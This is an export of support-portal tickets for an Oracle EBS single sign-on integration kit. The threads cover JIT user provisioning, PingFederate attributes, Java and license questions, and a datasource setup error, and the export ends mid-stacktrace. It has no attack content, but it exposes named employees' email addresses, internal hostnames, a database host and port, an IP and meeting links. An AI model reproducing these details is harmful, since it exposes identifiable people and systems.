Please join the call tomorrow with to review the user sync to EBS @10am EST [https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_ZDM4MjAzODEtMTdiYi00ODU4LTk3MzUtZjlxN2YwOGZjMmQw%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_ZDM4MjAzODEtMTdiYi00ODU4LTk3MzUtZjlxN2YwOGZjMmQw%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d)

Hi Venkata Reddy, Thank you for the logs. We have made note of the meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

1. Can JIT also provision roles and responsibilities for EBS users on the fly. 2. Need to know the Query in the JIT plugin that creates users in the FND\_table.

Hi Venkata Reddy, In regard to today's call on: 1. Can JIT also provision roles and responsibilities for EBS users on the fly. 2. Need to know the Query in the JIT plugin that creates users in the FND\_table. The SDK was developed by your Team, We (Likeminds) only provided you with the sample SDK JIT provisioner. You can make your DB calls as needed. We have attached the portal link to the sample SDK provisioner (also attached) <https://support.likemindsconsulting.com/en/support/solutions/articles/48001183728-jit-provisioner-sdk> Should you have any queries please feel free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, In regard to today's call on: 1. Can JIT also provision roles and responsibilities for EBS users on the fly. 2. Need to know the Query in the JIT plugin that creates users in the FND\_table. The SDK was developed by your Team, We (Likeminds) only provided you with the sample SDK JIT provisioner. You can make your DB calls as needed. We have attached the portal link to the sample SDK provisioner (also attached) <https://support.likemindsconsulting.com/en/support/solutions/articles/48001183728-jit-provisioner-sdk> Should you have any queries please feel free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, In regard to today's call on: 1. Can JIT also provision roles and responsibilities for

EBS users on the fly. 2. Need to know the Query in the JIT plugin that creates users in the FND\_table. The SDK was developed by your Team, We (Likeminds) only provided you with the sample SDK JIT provisioner. You can make your DB calls as needed. We have attached the portal link to the sample SDK provisioner (also attached) <https://support.likemindsconsulting.com/en/support/solutions/articles/48001183728-jit-provisioner-sdk> Should you have any queries please feel free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I tried to access the code not finding any SQL statements, will setup another call with EBS Development team to review the Java code. Thanks Venkata

I have scheduled the call on Monday 23rd 9.30am EST please join the call to review the code. Thanks Venkata

Call details on Monday 9.30am EST.  
[https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_MWVjNjJmMzctODcyNC00YzI5LWExY2MtYjU2YjU4Mjg5M2FI%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_MWVjNjJmMzctODcyNC00YzI5LWExY2MtYjU2YjU4Mjg5M2FI%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d)

Hi Venkata Reddy, We have made note of the invite for Monday. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

User external datastore attributes not passing to Pingfederate ,after authentication.

Hi Venkata Reddy, Greetings to you ! Were you able to sort out the issue on the external data source attributes ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please join the call on Monday, September 30 11:30 AM ? 12:00 PM EST to review the use sync code.

[https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_NThiOGYyNmUtYWVhNy00Yzk4LTg0MzltYzI4ZGU4MmY4MTU5%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22f945526a-507b-4c9a-bfb2-1bbce942dbbb%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_NThiOGYyNmUtYWVhNy00Yzk4LTg0MzltYzI4ZGU4MmY4MTU5%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22f945526a-507b-4c9a-bfb2-1bbce942dbbb%22%7d)

Hi Venkata Reddy, Okay,Noted. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Attended todays call with Veerababu, Venkata needs information on external user data attributes which he will be getting from his team.

Please join the call tomorrow Tuesday, October 1, 2024 10:30 AM - 11:00 AM EST  
[https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_MjU5YzdjN2UtNTQ1ZC00Y2Y2LWI4NzUtODQ0ZmUwMWYyNDJh%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22f945526a-507b-4c9a-bfb2-1bbce942dbbb%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjU5YzdjN2UtNTQ1ZC00Y2Y2LWI4NzUtODQ0ZmUwMWYyNDJh%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22f945526a-507b-4c9a-bfb2-1bbce942dbbb%22%7d)

Hi Venkata Reddy, Ok,noted. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find the attached jar files.

Uploaded the log files from EIK

Find the attached config files

Hi Venkata Reddy, Thanks for sending these files. We will check and get back to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Please send us the eik-error.log for prod and non-prod env as well. What could this IP be? ERROR [https-jsse-nio-8443-exec-6] [com.likeminds.ebsauth.exception.EikExceptionResolver] Request Origination 10.119.1.9 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

The IP 10.119.1.9 is LB VNIC in PCI

Ok venkata. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards,

EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

attached the error log files.

PROD EIK error log

Hi Venkata Reddy, Thank you for the eik-error logs. Please verify the redirection uri in Ping client configuration section. ?<https://extprfonline.officedepot.com/EBSAuth/handler> ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Please add the following attributes in PingFederate as shown in the screen below, this should populate all the NULL values. Restart the EIK services. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Looks like PingFederate setting is already set to the same, we can check during the call today.  
Thanks Venkata

By Madhu bolli Keep this ticket open, shall get back to you after further testing. Case1: Later Login: User created but logins after 1 hour only. 1. Create new user in BSD..(But no login) 2. Wait for 1 hour and Catch syncs the data to EBS staging tables. 3. For new user, Creates record in xx\_external\_table (but no record in fnd\_user) -- 02 access code 4. When New user logs in and clicks

on 'Bill Management' in plsql package: if data record exists in external table, it won't create in external table, and uses this external table data. And if fnd\_user doesn't exist then based on the data exists in external Table, it creates fnd User ----- Case2: Immediate Login: User created and logs in before 1 hour only. 1. Create new user in BSD then user\_id null created with: Ping Fed - EIK - xx\_external\_table and fnd\_user tables -- with user\_id, access\_code as NULL and no responsibility assigned. user\_name 2. Wait for 1 hour and BPEL syncs the data to EBS staging tables. External\_table updating with correct access\_code = 02 3. Based on SOP, AOPS team update the access once again (modifications) and then it will sync to EBS in 1 hour. 4. EBS invokes second plsql package "" : a. It updates the existed xx\_external\_table record with the latest details (may be access\_code,e tc..). b. And as user already exists, if access\_Code is 02/03/.. this code invokes assign Responsibility. 5. User must be able to login successfully now with the responsibility. -- We can check in Prod for one more user.

Hi Venkata Reddy, Can we have an update on this ticket. Ps: Hope you are sending all the attributes in the ID token (Ping configuration) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, We are closing this ticket, Please let us know if you have any other queries. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1181> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1182



SUBJECT : Test ticket

PROBLEM DESCRIPTION : This is a test ticket, please do not panic !

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 1183

SUBJECT : Solaris support

PROBLEM DESCRIPTION : We are preparing to start configuring servers for the tomcat installation. During a call last week, It was stated that we could run the tomcat on a MS server, a Linux server or a Solaris server. Since we are currently running our Oracle EBS environment on a Solaris server, we wanted to do the same for the tomcat server. Before we actually start this setup, i want to get verification that this will work and be supported.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Bob, We will get back to you on your query ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1183> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, The prerequisites are Tomcat ver 9.x and the OS is of your choice. ?Should you have further queries please feel free to contact us. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1183> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Hi Bob, We are closing this ticket, Should you have any queries please feel free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1183> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1184

SUBJECT : distribution file and valid license

PROBLEM DESCRIPTION : Where do i download the product distribution file and a valid license file? And do i need a separate license file for each environment (dev, test, production ? Thanks!

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
<https://support.likemindsconsulting.com/support/home> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

Hi Bob, You could use the same Production license for Dev and Test environments as well. Click here to download the binaries (war file) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1184> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, Greeting to you ! We are closing this ticket, Should you have further questions please feel free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1184>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1185

SUBJECT : Additional people added to support portal

PROBLEM DESCRIPTION : I need to add additional people the ability to access this portal. How do i add them?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/tickets/1184> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Bob, Please send us the email addresses so that we could add them. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1185> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, Gentle reminder , Can you please send us the additional users info; Names & emails addresses, so we could add them to the support portal. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1185> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, The following has been added to the support portal and an activation email has been sent to

them. Meghan\_Kubitz@steris.com Krishna\_Manyam@steris.com Ashish\_Dubey@steris.com

Sagar\_Battin@steris.com Gary\_Allen@steris.com Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1185> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1186

SUBJECT : EIK Java update to latest version

PROBLEM DESCRIPTION : After updating the Java version to latest EIK application is not starting, please advise the solution to apply latest java version to avoid java vulnerability

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Venkata Reddy, Could you please share us the versions of Eik and Java? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1186> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Kindly send us a meeting invite ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1186> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Please give us an update on the Java issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1186> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please join the call on Tuesday Oct-01 10am EST.  
[https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_ODlwYWU3NTgtNDAYMS00YjE4LWE2NmMtOWFhYTI0ZTRIMzUw%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_ODlwYWU3NTgtNDAYMS00YjE4LWE2NmMtOWFhYTI0ZTRIMzUw%40thread.v2/0?context=%7b%22Tid%22%3a%22b0e0d312-bd1b-4314-a355-9ff726ed1063%22%2c%22Oid%22%3a%22924b8047-aacc-4f93-8233-786da70ea5f3%22%7d)

Hi Venkata Reddy, Ok,Noted. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1186> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Team, As discussed during the call we updated JDK version to [jdk-8u421-linux-x64.tar.gz](#) and EIK application is not working, please advise.

After JDK update we are getting the following message on the browser. Error Encountered  
Unfortunately, something has gone wrong. We're unable to fulfill your request. Rest assured we have been notified and are looking into the issue. Try again later. Reason: An Authentication exception has occurred, Please clear browser and try again If issue persists, please contact technical support @ 1-800-269-6888 Reference Code: OIDC-LM-3235

Hi Venkata Reddy, Copied the "cacerts" file from the older Java folder to newly deployed Java.

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1186> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1187

SUBJECT : Java license in Authenion

PROBLEM DESCRIPTION : Can you please let us know how the Java is licensed in Authenion? Is Java license included in Authenion product or customer has to purchase it separately?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, We will check and get back to you ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1187> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, you will have to purchase the java license separately, and not from us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1187> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We are closing this ticket 1187, Should you have further queries, please feel free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1187> Regards,

EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1188

SUBJECT : EIK INSTALL FILES

PROBLEM DESCRIPTION : When i submitted the ticket to get the install files, i was directed to download EBSAuth.war, EIKutility.jar, log4j2.xml, security.properties,EBSdatasource.jar (which i have done), However the doc says to extract the contents of authenion-2.0.zip . I'm confused?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0  
seen\_articles: "["48001188469","\48001258662"]" enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/solutions/articles/48001258662-eik-2-3-1-0-binaries  
portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Bob, We will get back to you ASAP and clear your doubts. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1188> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, You have downloaded all the related files for EIK-EBS, you do not need any Authenion 2.0 zip files. Please send us a meeting invite to guide you through with the implementation process. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1188> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, We are closing this ticket, Should you have further queries, please feel free to contact us.  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1188> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1189

SUBJECT : Need a valid license

PROBLEM DESCRIPTION : the original request was for the software and a license. We didn't receive the license. Can you please send me a valid license.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0  
seen\_articles: ["48001188469"] enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/solutions/articles/48001188469-doc-id-1001-1-eik-pre-deployment-checklist> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hello Aaron, (Lic sent on 19th July 2024) Greetings to you ! Please find attached herewith is the license file for the EBS-EIK kit , for up to the 31st of July 2025. Kindly acknowledge receipt of the same. The following steps will guide you through the installation process. 1. Copy the new license file to /EBSAuth (EIK\_HOME) folder and to each instance (cluster instance) 2. Restart each instance 3. New license expiry details will be registered in the EIK-debug.log (search for: EIK and it will state as, eg: "EIK License Expiry Date: 2025-07-31" ) Should you have further questions, please feel free to contact us.

Hi Bob, We re-sent (via email) you the EIK license, which can be used in your Prod and Dev environments. Kindly acknowledge receipt of the same. We sent the license to Aaron on the 19th of



July. ?Should you have any queries, please feel free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1189> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1190

SUBJECT : Does Authenion supports open JDK

PROBLEM DESCRIPTION : Can you please confirm, does Authenion supports open JDK? Is Authenion certified with open JDK and work without any issue? \$ java -version openjdk version "1.8.0\_412" OpenJDK Runtime Environment (build 1.8.0\_412-b08) OpenJDK 64-Bit Server VM (build 25.412-b08, mixed mode)

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Please refer the below documentation. <https://docs.authenion.com/> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1190> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, We can't access this URL due to n/w security policy. It is blocked. Please provide the answer of above asked queries. Regards, Anil

Hi Anil Dutta, Please find the below attachment for your reference. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1190> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1191

SUBJECT : User preferences doesn't seem to working

PROBLEM DESCRIPTION : In Oracle EBS, if a user has a default start page defined in their user preferences, after implementing SSO, doesn't work. It looks like it bypassing looking at user preferences

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Bob, The default start page defined in a user preferences will be bypassed, when SSO sessions are initiated. however, SSO can redirect users to a default landing page. We will gather more info on this and let you know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1191>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, Please go through the following points, which may be informative to the SSO user preference issue.

1. SSO Implementation Flow When SSO is enabled, the authentication and session creation flow may skip over the usual user profile and preference checks that occur during a normal login. This is often due to the SSO system controlling the redirection and page initialization.
2. Personal Home Page (PHP) Profile Option Check if the Personal Home Page (PHP) profile option

is set correctly. It might be that SSO is bypassing the default start page set in user preferences because of conflicts with this profile setting.

3. Responsibility Assignment If a user has multiple responsibilities assigned, SSO could potentially default to the home page associated with their primary responsibility. Double-check that the user's responsibilities are in line with what you expect to show up post-login.
4. Redirect Settings SSO configurations sometimes include a default redirect post-login, which can override user-defined start pages. Ensure that the SSO system isn't hard-coded to redirect to a specific page, overriding the user preferences.
5. Customizations or Patches If any customizations or patches were applied during the SSO integration, verify that these didn't inadvertently cause this behavior. Check Oracle's documentation or patch notes to ensure this issue hasn't been addressed in an update.
6. Solution Possibilities SSO Profile Options: Investigate whether any profile options related to SSO configuration (like Applications SSO Login Types) might need adjustment to respect user preferences.

Workaround: A potential workaround might be to manually redirect users to their default start page after SSO login by adding a custom login trigger or script to check user preferences after authentication completes.

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1191>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, Could you please provide us with an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1191>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, Were you able to go through the points provided earlier? Can you please provided us with:

- 1.Screenshot of the error message.
- 2.Network trace (Full transaction) After the SSO> what is the landing page that it is going to ?

However, lets have a troubleshooting session once you provide the

above info. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1191> Regards,  
EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly  
to this email. Visit the ticket link above to view or manage your tickets.-->

Sorry wrong ticket....

Hi Bob, You can mention [eiksupport@likemindsconsulting.com](mailto:eiksupport@likemindsconsulting.com) in the meeting invite. It will go to  
every person in the organisation. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1191> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Bob, Referring to today's call with you, we would like to highlight the following point which relates  
to the "Forms launch>Start page issue in your SSO environment. 1. Verify SSO and Forms  
Configuration SSO Profile Option: Ensure the following profile options are correctly set: Applications  
SSO Type: Should be set to SSO. Applications Start Page: Verify that it points to a valid EBS  
function or URL. SSO Redirect URL: The RelayState or redirection URL after SSO login should  
match the EBS server URL that can handle launching Oracle Forms. For example:  
[http://<EBS\\_HOST>:<PORT>/OA\\_HTML/AppsLocalLogin.jsp](http://<EBS_HOST>:<PORT>/OA_HTML/AppsLocalLogin.jsp) Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1191> Regards, EIK Support Team <-- This  
message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the  
ticket link above to view or manage your tickets.-->

Hi Bob, Can we close this ticket as well. Also would like to know the changes you made from the  
EBS side? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1191> Regards, EIK  
Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to

this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, Please let us know if we could closed this ticket? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1191> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, We will be closing this ticket, but you may reopen it if needed. Please feel free to contact us if you require any further assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1191> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1192

SUBJECT : trying to create new .dbcx file

PROBLEM DESCRIPTION : Trying to create dbcx file for new instance. i did the following:

```
[oakley:oracle]/oasitssso/app/tomcat_latest/EBSAuth> java -cp EBSdatasource.jar  
com.likeminds.ebsauth.v1.EIKDatasource Y 17:00:13.775 [main] INFO
```

```
com.likeminds.ebsauth.v1.EIKDatasource - Name of the DBCX file with path where database  
configuration will be saved /oasitssso/app/tomcat_latest/EIK.dbcx Enter the connection factory class  
(oracle.jdbc.pool.OracleDataSource)->oracle.jdbc.pool.OracleDataSource User entered following  
value ->oracle.jdbc.pool.OracleDataSource Enter the JDBC URL:(For eg) jdbc:oracle:thin:@<EBS  
DB domain name>:<EBS DB Port>:<SID>->jdbc:oracle:thin:@augusta.steris.com:1540:oasit User  
entered following value ->jdbc:oracle:thin:@augusta.steris.com:1540:oasit Enter the apps  
username->apps User entered following value ->apps Enter the apps password-> Enter connection
```

pool name->EBSAuth User entered following value ->EBSAuth Enter initial connection pool size->10  
User entered following value ->10 Enter min. connection pool size->10 User entered following value  
->10 Enter max. initial pool size->5 User entered following value ->5 Enter timeout check interval  
(Default is 30 secs)->30 User entered following value ->30 Enter inactive connection timeout  
(Default is 0 secs)->30 User entered following value ->30 Enter validate connection on borrow  
(true/false)->true User entered following value ->true Enter the EIK user username->EIKUSER User  
entered following value ->EIKUSER Enter the EIK user password-> Enter the context  
path->/EBSAuth User entered following value ->/EBSAuth 17:05:27.563 [main] INFO  
com.likeminds.ebsauth.v1.EIKDatasource - Trying to Registering User java.sql.SQLException:  
Unable to start the Universal Connection Pool: oracle.ucp.UniversalConnectionPoolException:  
Invalid Universal Connection Pool configuration at  
oracle.ucp.util.UCPErrorHandler.newSQLException(UCPErrorHandler.java:456) at  
oracle.ucp.util.UCPErrorHandler.throwSQLException(UCPErrorHandler.java:133) at  
oracle.ucp.jdbc.PoolDataSourceImpl.startPool(PoolDataSourceImpl.java:928) at  
oracle.ucp.jdbc.PoolDataSourceImpl.getConnection(PoolDataSourceImpl.java:1961) at  
oracle.ucp.jdbc.PoolDataSourceImpl.access\$400(PoolDataSourceImpl.java:201) at  
